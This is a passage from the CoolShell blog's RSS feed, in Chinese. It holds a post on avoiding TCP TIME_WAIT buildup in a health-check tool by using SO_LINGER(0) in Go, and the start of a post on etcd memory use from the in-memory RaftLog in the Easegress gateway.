语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[SO_LINGER]]></category>\n\t\t<category><![CDATA[TCP]]></category>\n\t\t<category><![CDATA[TIME_WAIT]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22263</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天来讲一讲TCP 的 TIME_WAIT 的问题。这个问题尽人皆知，不过，这次遇到的是不太一样的场景，前两天也解决了，正好写篇文章，顺便把 TIME_WAIT...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22263.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22263.html\">从一次经历谈 TIME_WAIT 的那些事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"https://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167.jpeg\" alt=\"\" width=\"400\" height=\"222\" />今天来讲一讲TCP 的 <code>TIME_WAIT</code> 的问题。这个问题尽人皆知，不过，这次遇到的是不太一样的场景，前两天也解决了，正好写篇文章，顺便把 <code>TIME_WAIT</code> 的那些事都说一说。对了，这个场景，跟我开源的探活小工具 <a href=\"https://github.com/megaease/easeprobe\">EaseProbe</a> 有关，我先说说这个场景里的问题，然后，顺着这个场景跟大家好好说一下这个事。</p>\n<h4>问题背景</h4>\n<p>先说一下背景，<a href=\"https://github.com/megaease/easeprobe\">EaseProbe</a> 是一个轻量独立的用来探活服务健康状况的小工具，支持http/tcp/shell/ssh/tls/host以及各种中间件的探活，然后，直接发送通知到主流的IM上，如：Slack/Telegram/Discrod/Email/Team，包括国内的企业微信/钉钉/飞书， 非常好用，用过的人都说好 <img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/1f60f.png\" alt=\"😏\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" />。</p>\n<p>这个探活工具在每次探活的时候，必须要从头开始建立整个网络链接，也就是说，需要从头开始进行DNS查询，建立TCP链接，然后进行通信，再关闭链接。这里，我们不会设置 TCP 的 KeepAlive 重用链接，因为探活工具除了要探活所远端的服务，还要探活整个网络的情况，所以，每次探活都需要从新来过，这样才能捕捉得到整个链路的情况。</p>\n<p><span id=\"more-22263\"></span></p>\n<p>但是，这样不断的新建链接和关闭链接，根据TCP的状态机，我们知道这会导致在探测端这边出现的 <code>TIME_WAIT</code> 的 TCP 链接，根据 TCP 协议的定义，这个 TIME_WAIT 需要等待 2倍的MSL 时间，TCP 链接都会被系统回收，在回收之前，这个链接会占用系统的资源，主要是两个资源，一个是文件描述符，这个还好，可以调整，另一个则是端口号，这个是没法调整的，因为作为发起请求的client来说，在对同一个IP上理论上你只有64K的端口号号可用（实际上系统默认只有近30K，从32,768 到 60,999 一共 60999+1-32768=28,232，你可以通过 <code>sysctl net.ipv4.ip_local_port_range</code> 查看  ），如果 <code>TIME_WAIT</code> 过多，会导致TCP无法建立链接，还会因为资源消耗太多导致整个程序甚至整个系统异常。</p>\n<p>试想，如果我们以 10秒为周期探测10K的结点，如果TIME_WAIT的超时时间是120秒，那么在第60秒后，等着超时的 <code>TIME_WAIT</code> 我们就有可能把某个IP的端口基本用完了，就算还行，系统也有些问题。（注意：我们不仅仅只是TCP，还有HTTP协议，所以，大家不要觉得TCP的四元组只要目标地址不一样就好了，一方面，我们探的是域名，需要访问DNS服务，所以，DNS服务一般是一台服务器，还有，因为HTTPS一般是探API，而且会有网关代理API，所以链接会到同一个网关上。另外就算还可以建出站连接，但是本地程序会因为端口耗尽无法bind了。所以，现实情况并不会像理论情况那样只要四元组不冲突，端口就不会耗尽）</p>\n<h4>为什么要 TIME_WAIT</h4>\n<p>那么，为什么TCP在 <code>TIME_WAIT</code> 上要等待一个2MSL的时间？<code></code></p>\n<p>以前写过篇比较宏观的《TCP的那些事》（<a title=\"TCP 的那些事儿（上）\" href=\"https://coolshell.cn/articles/11564.html\" target=\"_blank\" rel=\"noopener\">上篇</a>，<a title=\"TCP 的那些事儿（下）\" href=\"https://coolshell.cn/articles/11609.html\" target=\"_blank\" rel=\"noopener\">下篇</a>），这个访问在“上篇”里讲过，这里再说一次，TCP 断链接的时候，会有下面这个来来回回的过程。</p>\n<p>我们来看主动断链接的最后一个状态 <code>TIME_WAIT</code> 后就不需要等待对端回 ack了，而是进入了超时状态。这主要是因为，在网络上，如果要知道我们发出的数据被对方收到了，那我们就需要对方发来一个确认的Ack信息，那问题来了，对方怎么知道自己发出去的ack，被收到了？难道还要再ack一下，这样ack来ack回的，那什么谁也不要玩了……是的，这就是比较著名的【两将军问题】——两个将军需要在一个不稳定的信道上达成对敌攻击时间的协商，A向B派出信鸽，我们明早8点进攻，A怎么知道B收到了信？那需要B向A派出信鸽，ack说我收到了，明早8点开干。但是，B怎么知道A会收到自己的确认信？是不是还要A再确认一下？这样无穷无尽的确认导致这个问题是没有完美解的（我们在《<a href=\"https://coolshell.cn/articles/10910.html#Two_Generals_Problem%EF%BC%88%E4%B8%A4%E5%B0%86%E5%86%9B%E9%97%AE%E9%A2%98%EF%BC%89\" target=\"_blank\" rel=\"noopener\">分布式事务</a>》一文中说过这个问题，这里不再重述）</p>\n<p>所以，我们只能等一个我们认为最大小时来解决两件个问题：</p>\n<p>1） 为了 <strong>防止来自一个连接的延迟段</strong>被依赖于相同四元组（源地址、源端口、目标地址、目标端口）的稍后连接接受（被接受后，就会被马上断掉，TCP状态机紊乱）。虽然，可以通过指定 TCP 的 sequence number 一定范围内才能被接受。但这也只是让问题发生的概率低了一些，对于一个吞吐量大的的应用来说，依然能够出现问题，尤其是在具有大接收窗口的快速连接上。<a title=\"RFC 1337：TCP 中的 TIME-WAIT 暗杀危险\" href=\"https://tools.ietf.org/html/rfc1337\">RFC 1337</a>详细解释了当 <code>TIME-WAIT</code>状态不足时会发生什么。<sup id=\"fnref-rfc1337\"></sup><code>TIME-WAIT</code>以下是如果不缩短状态可以避免的示例：</p>\n<figure id=\"attachment_22267\" aria-describedby=\"caption-attachment-22267\" style=\"width: 456px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22267\" src=\"https://coolshell.cn/wp-content/uploads/2022/07/duplicate-segment.png\" alt=\"\" width=\"456\" height=\"467\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/07/duplicate-segment.png 800w, https://coolshell.cn/wp-content/uploads/2022/07/duplicate-segment-293x300.png 293w, https://coolshell.cn/wp-content/uploads/2022/07/duplicate-segment-768x787.png 768w, https://coolshell.cn/wp-content/uploads/2022/07/duplicate-segment-263x270.png 263w\" sizes=\"(max-width: 456px) 100vw, 456px\" /><figcaption id=\"caption-attachment-22267\" class=\"wp-caption-text\">由于缩短的 TIME-WAIT 状态，后续的 TCP 段已在不相关的连接中被接受（<a href=\"https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux\" target=\"_blank\" rel=\"noopener\">来源</a>）</figcaption></figure>\n<p>&nbsp;</p>\n<p>2）另一个目的是确保<strong>远端已经关闭了连接</strong>。当最后一个<em>ACK</em>​​ 丢失时，对端保持该<code>LAST-ACK</code>状态。<sup id=\"fnref-lastack\"></sup>在没有<code>TIME-WAIT</code>状态的情况下，可以重新打开连接，而远程端仍然认为先前的连接有效。当它收到一个<em>SYN</em>段（并且序列号匹配）时，它将以<em>RST</em>应答，因为它不期望这样的段。新连接将因错误而中止：</p>\n<p>&nbsp;</p>\n<figure id=\"attachment_22268\" aria-describedby=\"caption-attachment-22268\" style=\"width: 559px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22268\" src=\"https://coolshell.cn/wp-content/uploads/2022/07/last-ack.png\" alt=\"\" width=\"559\" height=\"375\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/07/last-ack.png 783w, https://coolshell.cn/wp-content/uploads/2022/07/last-ack-300x201.png 300w, https://coolshell.cn/wp-content/uploads/2022/07/last-ack-768x515.png 768w, https://coolshell.cn/wp-content/uploads/2022/07/last-ack-403x270.png 403w\" sizes=\"(max-width: 559px) 100vw, 559px\" /><figcaption id=\"caption-attachment-22268\" class=\"wp-caption-text\">如果远端因为最后一个 ACK​​ 丢失而停留在 LAST-ACK 状态，则打开具有相同四元组的新连接将不起作用 （<a href=\"https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux\" target=\"_blank\" rel=\"noopener\">来源</a>）</figcaption></figure>\n<p><code>TIME_WAIT</code> 的这个超时时间的值如下所示：</p>\n<ul>\n<li>在 macOS 上是15秒， <code>sysctl net.inet.tcp | grep net.inet.tcp.msl</code></li>\n<li>在 Linux 上是 60秒 <code>cat /proc/sys/net/ipv4/tcp_fin_timeout</code></li>\n</ul>\n<h4>解决方案</h4>\n<p>要解决这个问题，网上一般会有下面这些解法</p>\n<ul>\n<li>把这个超时间调小一些，这样就可以把TCP 的端口号回收的快一些。但是也不能太小，如果流量很大的话，TIME_WAIT一样会被耗尽。</li>\n<li>设置上 <code>tcp_tw_reuse</code> 。<a title=\"RFC 1323：高性能 TCP 扩展\" href=\"https://tools.ietf.org/html/rfc1323\">RFC 1323</a>提出了一组 TCP 扩展来提高高带宽路径的性能。除其他外，它定义了一个新的 TCP 选项，带有两个四字节<strong>时间戳字段</strong>。第一个是发送选项的 TCP 时间戳的当前值，而第二个是从远程主机接收到的最新时间戳。如果新时间戳严格大于为前一个连接记录的最新时间戳。Linux 将重用该状态下的现有 <code>TIME_WAIT</code> 连接用于<strong>出站的链接</strong>。也就是说，<strong>这个参数对于入站连接是没有任何用图的。</strong></li>\n<li>设置上 <code>tcp_tw_recycle</code> 。 这个参数同样依赖于时间戳选项，但会影响进站和出站链接。这个参数会影响NAT环境，也就是一个公司里的所有员工用一个IP地址访问外网的情况。在这种情况下，时间戳条件将禁止在这个公网IP后面的所有设备在一分钟内连接，因为它们不共享相同的时间戳时钟。毫无疑问，禁用此选项要好得多，因为它会导致 <strong>难以检测</strong>和<strong>诊断</strong>问题。（注：从 Linux 4.10 (commit <a title=\"tcp：为每个连接随机化 tcp 时间戳偏移\" href=\"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a22caee396cef0bb2ca8fafdd82966a49367bb\">95a22caee396</a> ) 开始，Linux 将为每个连接随机化时间戳偏移量，从而使该选项完全失效，无论有无<abbr title=\"网络地址解读\">NAT</abbr>。它已从 Linux 4.12中完全删除）</li>\n</ul>\n<p>对于服务器来说，上述的三个访问都不能解决服务器的 <code>TIME_WAIT</code> 过多的问题，真正解决问题的就是——<strong>不作死就不会死，也就是说，服务器不要主动断链接，而设置上KeepAlive后，让客户端主动断链接，这样服务端只会有<code>CLOSE_WAIT</code></strong>。</p>\n<p>但是对于用于建立出站连接的探活的 EaseProbe来说，设置上 <code>tcp_tw_reuse</code> 就可以重用 <code>TIME_WAIT</code> 了，但是这依然无法解决 <code>TIME_WAIT</code> 过多的问题。</p>\n<p>然后，过了几天后，我忽然想起来以前在《UNIX 网络编程》上有看到过一个Socket的参数，叫 <code data-enlighter-language=\"raw\" class=\"EnlighterJSRAW\">&lt;code&gt;SO_LINGER</code></code>，我的编程生涯中从来没有使用过这个设置，这个参数主要是为了延尽关闭来用的，也就是说你应用调用 <code>close()</code>函数时，如果还有数据没有发送完成，则需要等一个延时时间来让数据发完，但是，如果你把延时设置为 0  时，Socket就丢弃数据，并向对方发送一个 <code>RST</code> 来终止连接，因为走的是 RST 包，所以就不会有 <code>TIME_WAIT</code> 了。</p>\n<p>这个东西在服务器端永远不要设置，不然，你的客户端就总是看到 TCP 链接错误 “connnection reset by peer”，但是这个参数对于 EaseProbe 的客户来说，简直是太完美了，当EaseProbe 探测完后，直接 reset connection， 即不会有功能上的问题，也不会影响服务器，更不会有烦人的 <code> TIME_WAIT</code> 问题。</p>\n<h4>Go 实际操作</h4>\n<p>在 Golang的标准库代码里，<code>net.TCPConn</code> 有个方法 <code>SetLinger()</code>可以完成这个事，使用起来也比较简单：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">conn, _ := net.DialTimeout(\"tcp\", t.Host, t.Timeout())\n\nif tcpCon, ok := conn.(*net.TCPConn); ok {\n    tcpCon.SetLinger(0)\n}</pre>\n<p>你需要把一个 <code>net.Conn</code>  转型成 <code>net.TCPConn</code>，然后就可以调用方法了。</p>\n<p>但是对于Golang 的标准库中的 HTTP 对象来说，就有点麻烦了，Golang的 http 库把底层的这边连接对象全都包装成私有变量了，你在外面根本获取不到。这篇《<a href=\"https://iximiuz.com/en/posts/go-net-http-setsockopt-example/\" target=\"_blank\" rel=\"noopener\">How to Set Go net/http Socket Options &#8211; setsockopt() example</a> 》中给出了下面的方法：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">dialer := &amp;net.Dialer{\n    Control: func(network, address string, conn syscall.RawConn) error {\n        var operr error\n        if err := conn.Control(func(fd uintptr) {\n            operr = syscall.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.TCP_QUICKACK, 1)\n        }); err != nil {\n            return err\n        }\n        return operr\n    },\n}\n\nclient := &amp;http.Client{\n    Transport: &amp;http.Transport{\n        DialContext: dialer.DialContext,\n    },\n}</pre>\n<p>上面这个方法非常的低层，需要直接使用setsocketopt这样的系统调用，我其实，还是想使用 <code>TCPConn.SetLinger(0)</code> 来完成这个事，即然都被封装好了，最好还是别破坏封闭性碰底层的东西。</p>\n<p>经过Golang http包的源码阅读和摸索，我使用了下面的方法：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">client := &amp;http.Client{\n    Timeout: h.Timeout(),\n    Transport: &amp;http.Transport{\n      TLSClientConfig:   tls,\n      DisableKeepAlives: true,\n      DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n        d := net.Dialer{Timeout: h.Timeout()}\n        conn, err := d.DialContext(ctx, network, addr)\n        if err != nil {\n          return nil, err\n        }\n        tcpConn, ok := conn.(*net.TCPConn)\n        if ok {\n          tcpConn.SetLinger(0)\n          return tcpConn, nil\n        }\n        return conn, nil\n      },\n    },\n  }</pre>\n<p>然后，我找来了全球 T0p 100W的域名，然后在AWS上开了一台服务器，用脚本生成了 TOP 10K 和 20K 的网站来以5s, 10s, 30s, 60s的间隔进行探活，搞到Cloudflare 的 1.1.1.1 DNS 时不时就把我拉黑，最后的测试结果也非常不错，根本 没有 TIME_WAIT 的链接，相关的测试方法、测试数据和测试报告可以参看：<a href=\"https://github.com/megaease/easeprobe/blob/main/docs/Benchmark.md\" target=\"_blank\" rel=\"noopener\">Benchmark Report</a></p>\n<h4>总结</h4>\n<p>下面是几点总结</p>\n<ul>\n<li><code>TIME_WAIT</code> 是一个TCP 协议完整性的手段，虽然会有一定的副作用，但是这个设计是非常关键的，最好不要妥协掉。</li>\n<li>永远不要使用  <code>tcp_tw_recycle</code> ，这个参数是个巨龙，破坏力极大。</li>\n<li>服务器端永远不要使用  <code>SO_LINGER(0)</code>，而且使用 <code>tcp_tw_reuse</code> 对服务端意义不大，因为它只对出站流量有用。</li>\n<li>在服务端上最好不要主动断链接，设置好KeepAlive，重用链接，让客户端主动断链接。</li>\n<li>在客户端上可以使用 <code>tcp_tw_reuse</code>  和 <code>SO_LINGER(0)</code>。</li>\n</ul>\n<p>最后强烈推荐阅读这篇文章 &#8211; <a href=\"https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux\" target=\"_blank\" rel=\"noopener\">Coping with the TCP TIME-WAIT state on busy Linux servers</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11564.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/05/tin-can-phone-150x150.jpg\" alt=\"TCP 的那些事儿（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11564.html\" class=\"wp_rp_title\">TCP 的那些事儿（上）</a></li><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" alt=\"TCP 的那些事儿（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_title\">TCP 的那些事儿（下）</a></li><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/1484.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp1-150x150.jpg\" alt=\"TCP网络关闭的状态变换时序图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1484.html\" class=\"wp_rp_title\">TCP网络关闭的状态变换时序图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22263.html\">从一次经历谈 TIME_WAIT 的那些事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22263.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>ETCD的内存问题</title>\n\t\t<link>https://coolshell.cn/articles/22242.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22242.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 05 May 2022 08:13:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[easegress]]></category>\n\t\t<category><![CDATA[etcd]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22242</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天跟大家分享一个etcd的内存大量占用的问题，这是前段时间在我们开源软件Easegress中遇到的问题，问题是比较简单的，但是我还想把前因后果说一下，包括，为...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22242.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-22247\" src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd.png\" alt=\"\" width=\"275\" height=\"183\" />今天跟大家分享一个etcd的内存大量占用的问题，这是前段时间在我们开源软件Easegress中遇到的问题，问题是比较简单的，但是我还想把前因后果说一下，包括，为什么要用etcd，使用etcd的用户场景，包括etcd的一些导致内存占用比较大的设计，以及最后一些建议。希望这篇文章不仅仅只是让你看到了一个简单的内存问题，还能让你有更多的收获。当然，也欢迎您关注我们的开源软件，给我们一些鼓励。</p>\n<h4>为什么要用ETCD</h4>\n<p>先说一下为什么要用etcd。先从一个我们自己做的一个API网关 &#8211; Easegress（<a href=\"https://github.com/megaease/easegress\">源码</a>）说起。</p>\n<p><a href=\"https://github.com/megaease/easegress\" target=\"_blank\" rel=\"noopener\">Easegress</a> 是我们开发并开源的一个API应用网关产品，这个API应用网关不仅仅只是像nginx那样用来做一个反向代理，这个网关可以做的事很多，比如：API编排、服务发现、弹力设计（熔断、限流、重试等）、认证鉴权（JWT，OAuth2，HMAC等）、同样支持各种Cloud Native的架构如：微服务架构，Service Mesh，Serverless/FaaS的集成，并可以用于扛高并发、灰度发布、全链路压力测试、物联网……等更为高级的企业级的解决方案。所以，为了达到这些目标，在2017年的时候，我们觉得在现有的网关如Nginx上是无法演进出来这样的软件的，必需重新写一个（后来其他人也应该跟我们的想法一样，所以，Lyft写了一个Envoy。只不过，Envoy是用C++写的，而我用了技术门槛更低的Go语言）</p>\n<p>另外，Easegress最核心的设计主要有三个：</p>\n<p><span id=\"more-22242\"></span></p>\n<ul>\n<li>一是无第三方依赖的自己选主组集群的能力</li>\n<li>二是像Linux管道命令行那样pipeline式的插件流式处理（支持Go/WebAssembly）</li>\n<li>三是内置一个Data Store用于集群控制和数据共享。</li>\n</ul>\n<p>对于任何一个分布式系统，都需要有一个强一制性的基于Paxos/Raft的可以自动选主机制，并且需要在整个集群间同步一些关键的控制/配置和相关的共享数据，以保证整个集群的行为是统一一致的。如果没有这么一个东西的话，就没有办法玩分布式系统的。这就是为什么会有像Zookeeper/etcd这样的组件出现并流行的原因。注意，Zookeeper他们主要不是给你存数据的，而是给你组集群的。</p>\n<p>Zookeeper是一个很流行的开源软件，也被用于各大公司的生产线，包括一些开源软件，比如：Kafka。但是，这会让其它软件有一个依赖，并且在运维上带来很大的复杂度。所以，Kafka在最新的版本也通过内置了选主的算法，而抛弃了外挂zookeeper的设计。Etcd是Go语言社区这边的主力，也是kubernetes组建集群的关键组件。Easegress在一开始（5年前）使用了gossip协议同步状态（当时想的过于超前，想做广域网的集群），但是后发现这个协议太过于复杂，而且很难调试，而广域网的API Gateway也没遇到相应的场景。所以，在3年前的时候，为了稳定性的考量，我们把其换成了内嵌版本的etcd，这个设计一直沿用到今天。</p>\n<p>Easegress会把所有的配置信息都放到etcd里，还包括一些统计监控数据，以及一些用户的自定义数据（这样用户自己的plugin不但可以在一条pipeline内，还可以在整个集群内共享数据），这对于用户进行扩展来说是非常方便的。软件代码的扩展性一直是我们追求的首要目标，尤其是开源软件更要想方设法降低技术门槛让技术易扩展，这就是为什么Google的很多开源软件都会选使用Go语言的原因，也是为什么Go正在取代C/C++的做PaaS基础组件的原因。</p>\n<h4>背景问题</h4>\n<p>好了，在介绍完为什么要用etcd以后，我开始分享一个实际的问题了。我们有个用户在使用 Easegress 的时候，在Easegress内配置了上千条pipeline，导致 Easegress的内存飙升的非常厉害- 10+GB 以上，而且长时间还下不来。</p>\n<p>用户报告的问题是——</p>\n<blockquote><p>在Easegress 1.4.1 上创建一个HTTP对象，1000个Pipeline，在Easegres初始化启动完成时的内存占用大概为400M，运行80分钟后2GB，运行200分钟后达到了4GB，这期间什么也没有干，对Easegress没有进行过一次请求。</p></blockquote>\n<p>一般来说，就算是API再多也不应该配置这么多的处理管道pipeline的，通常我们会使用HTTP API的前缀把一组属于一个类别的API配置在一个管道内是比较合理的，就像nginx下的location的配置，一般来说不会太多的。但是，在用户的这个场景下配置了上千个pipeline，我们也是头一次见，应该是用户想做更细粒度的控制。</p>\n<p>经过调查后，我们发现内存使用基本全部来自etcd，我们实在没有想到，因为我们往etcd里放的数据也没有多少个key，感觉不会超过10M，但不知道为什么会占用了10GB的内存。这种时候，一般会怀疑etcd有内存泄漏，上etcd上的github上搜了一下，发现etcd在3.2和3.3的版本上都有内存泄露的问题，但都修改了，而 Easegress 使用的是3.5的最新版本，另外，一般来说内存泄漏的问题不会是这么大的，我们开始怀疑是我们哪里误用了etcd。要知道是否误用了etcd，那么只有一条路了，沉下心来，把etcd的设计好好地看一遍。</p>\n<div class=\"p-rich_text_section\">\n<p>大概花了两天左右的时间看了一下etcd的设计，我发现了etcd有下面这些消耗内存的设计，老实说，还是非常昂贵的，这里分享出来，避免后面的同学再次掉坑。</p>\n<p><b data-stringify-type=\"bold\">首当其冲是——RaftLog</b>。etcd用Raft Log，主要是用于帮助follower同步数据，这个log的底层实现不是文件，而是内存。所以，而且还至少要保留 <code>5000</code> 条最新的请求。如果key的size很大，这 <code>5000</code>条就会产生大量的内存开销。比如，不断更新一个 1M的key，哪怕是同一个key，这 5000 条Log就是 5000MB = 5GB 的内存开销。这个问题在etcd的issue列表中也有人提到过  <a href=\"https://github.com/etcd-io/etcd/issues/12548\" target=\"_blank\" rel=\"noopener\">issue #12548 </a>，不过，这个问题不了了之了。这个5000还是一个hardcode，无法改。（参看 <code>DefaultSnapshotCatchUpEntries</code> <a class=\"c-link\" tabindex=\"-1\" href=\"https://github.com/etcd-io/etcd/blob/29c3b0f307107fd95a6eb43ddff20db952eeb2fa/server/etcdserver/server.go#L80\" target=\"_blank\" rel=\"noopener noreferrer\" data-stringify-link=\"https://github.com/etcd-io/etcd/blob/29c3b0f307107fd95a6eb43ddff20db952eeb2fa/server/etcdserver/server.go#L80\" data-sk=\"tooltip_parent\" data-remove-tab-index=\"true\">相关源码</a>）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">// DefaultSnapshotCatchUpEntries is the number of entries for a slow follower\n// to catch-up after compacting the raft storage entries.\n// We expect the follower has a millisecond level latency with the leader.\n// The max throughput is around 10K. Keep a 5K entries is enough for helping\n// follower to catch up.\nDefaultSnapshotCatchUpEntries uint64 = 5000</pre>\n<p>另外，我们还发现，这个设计在历史上etcd的官方团队把这个默认值从10000降到了5000，我们估计etcd官方团队也意识到10000有点太耗内存了，所以，降了一半，但是又怕follwer同步不上，所以，保留了 5000条……（在这里，我个人感觉还有更好的方法，至少不用全放在内存里吧……）</p>\n<p>另外还有下面几项也会导致etcd的内存会增加</p>\n<ol class=\"p-rich_text_list p-rich_text_list__ordered\" data-stringify-type=\"ordered-list\" data-indent=\"0\" data-border=\"0\">\n<li data-stringify-indent=\"0\" data-stringify-border=\"0\"><strong>索引</strong>。etcd的每一对 key-value 都会在内存中有一个 B-tree 索引。这个索引的开销跟key的长度有关，etcd还会保存版本。所以B-tree的内存跟key的长度以及历史版本号数量也有关系。</li>\n<li data-stringify-indent=\"0\" data-stringify-border=\"0\"><b data-stringify-type=\"bold\">mmap</b>。还有，etcd 使用 mmap 这样上古的unix技术做文件映射，会把他的blotdb的内存map到虚拟内存中，所以，db-size越大，内存越大。</li>\n<li data-stringify-indent=\"0\" data-stringify-border=\"0\"><b data-stringify-type=\"bold\">Watcher</b>。watch也会占用很大的内存，如果watch很多，连接数多，都会堆积内存。</li>\n</ol>\n<p>（很明显，etcd这么做就是为了一个高性能的考虑）</p>\n<div class=\"p-rich_text_section\">\n<p>Easegress中的问题更多的应该是Raft Log 的问题。后面三种问题我们觉得不会是用户这个问题的原因，对于索引和mmap，使用 <a href=\"https://etcd.io/docs/v3.2/op-guide/maintenance/\" target=\"_blank\" rel=\"noopener\">etcd 的 compact 和 defreg</a> （压缩和碎片整理应该可以降低内存，但用户那边不应该是这个问题的核心原因）。</p>\n<p>针对用户的问题，大约有1000多条pipeline，因为Easegress会对每一条pipeline进行数据统计（如：M1, M5, M15， P99, P90, P50等这样的统计数据），统计信息可能会有1KB-2KB左右，但Easegress会把这1000条pipeline的统计数据合并起来写到一个key中，这1000多条的统计数据合并后会导致出现一个平均尺寸为2MB的key，而5000个in-memory的RaftLog导致etcd要消耗了10GB的内存。之前没有这么多的pipeline的场景，所以，这个内存问题没有暴露出来。</p>\n<p>于是，我们最终的解决方案也很简单，我们修改我们的策略，不再写这么大的Value的数据了，虽然以前只写在一个key上，但是Key的值太大，现在把这个大Key值拆分成多个小的key来写，这样，实际保存的数据没有发生变化，但是RaftLog的每条数据量就小了，所以，以前是5000条 2M（10GB），现在是5000条 1K（500MB），就这样解决了这个问题。相关的PR在这里 <a href=\"https://github.com/megaease/easegress/pull/542\" target=\"_blank\" 